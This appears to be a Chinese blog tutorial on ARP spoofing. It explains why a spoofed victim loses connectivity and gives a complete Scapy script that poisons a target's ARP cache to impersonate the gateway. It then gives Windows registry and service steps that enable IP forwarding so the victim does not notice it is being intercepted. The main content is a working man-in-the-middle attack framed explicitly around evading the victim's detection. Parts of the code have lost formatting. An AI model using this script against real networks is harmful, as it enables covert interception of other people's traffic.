-
引出问题:
当我们发起一次ARP欺骗之后,目标主机会出现断网情况。这种很容易就会被目标主机A发现。那我们怎么让目标主机发现不了自己被ARP欺骗了呢? -
问题描述:
1.受害主机A断网:
当目标主机A上网时,会进行TCP的连接,但是因为ARP欺骗之后,主机A的路由转发到的是主机B而不是网关G。所以TCP的连接是无法实现的。会出现断网的情况。
2.攻击主机B抓不到包:
攻击者B在本地上抓包,A的请求包是抓不到的:因为TCP连接根本就没有建立起连接。 -
相关ARP欺骗python脚本
这段代码需要用到相关的scapy工具
`
from scapy.all import *
import time
import sys
TARGET_IP = "x.x.x.x" # 修改为目标主机IP
GATEWAY_IP = "x.x.x.x" # 修改为网关IP
INTERVAL = 2.0 # ARP包发送间隔(秒)
def get_mac(ip):
"""通过IP地址获取MAC地址"""
try:
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
except:
print(f"[!] 无法获取 {ip} 的MAC地址")
sys.exit(1)
def arp_spoof(target_ip, gateway_ip):
"""
ARP欺骗: 向目标发送ARP响应,将自己伪装成网关
"""
target_mac = get_mac(target_ip) # 获取自己的MAC地址
my_mac = get_if_hwaddr(conf.iface) # 获取本机默认网卡的MAC地址
构造ARP响应包,告诉目标主机网关IP对应的MAC是我们的MAC
ether = Ether(dst=target_mac, src=my_mac) # 创建以太网帧
spoof_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=my_mac)
sendp(ether/spoof_packet, verbose=False) # 发送ARP包,使用sendp而不是send
def restore(target_ip, gateway_ip):
"""恢复正常的ARP表项"""
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
my_mac = get_if_hwaddr(conf.iface) # 获取本机MAC地址
ether = Ether(dst=target_mac, src=my_mac) # 构建以太网帧和ARP包
restore_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
sendp(ether / restore_packet, count=4, verbose=False) # 使用sendp发送
def main():
try:
packet_count = 0
print(f"[] 开始对 {TARGET_IP} 进行ARP欺骗,伪装自己为网关 {GATEWAY_IP}")
print("[] 按 Ctrl+C 停止攻击")
while True:
arp_spoof(TARGET_IP, GATEWAY_IP) # 向目标发送ARP欺骗包,使目标认为我们是网关
packet_count += 1
print(f"\r[] 已发送 {packet_count} 个欺骗包", end="")
time.sleep(INTERVAL) # 等待指定的间隔时间
except KeyboardInterrupt:
print("\n[] 检测到Ctrl+C,正在停止ARP欺骗并恢复ARP表...")
restore(TARGET_IP, GATEWAY_IP)
print("[*] ARP欺骗已停止")
if name == "main":
main()
`
- 实现思路:
此时我们需要本机B实现路由转发功能即可。 - 实现过程
1.打开命令提示符,并输入Regedit
2.弹出注册表编辑器,导航到HKEY_LOCAL_MACHINE-->SYSTEM-->CurrentControlSet-->Services-->Tcpip-->Parameters
3.双击进入Parameters,找到IPEnableRouter(如果没有,参照以下创建),将值从0修改为1
4.打开菜单按钮,输入Run并回车
5.输入Services.msc并回车
6.现在导航到Routings and Remote..访问服务,右键单击以打开其属性
7.选择自动,并启动服务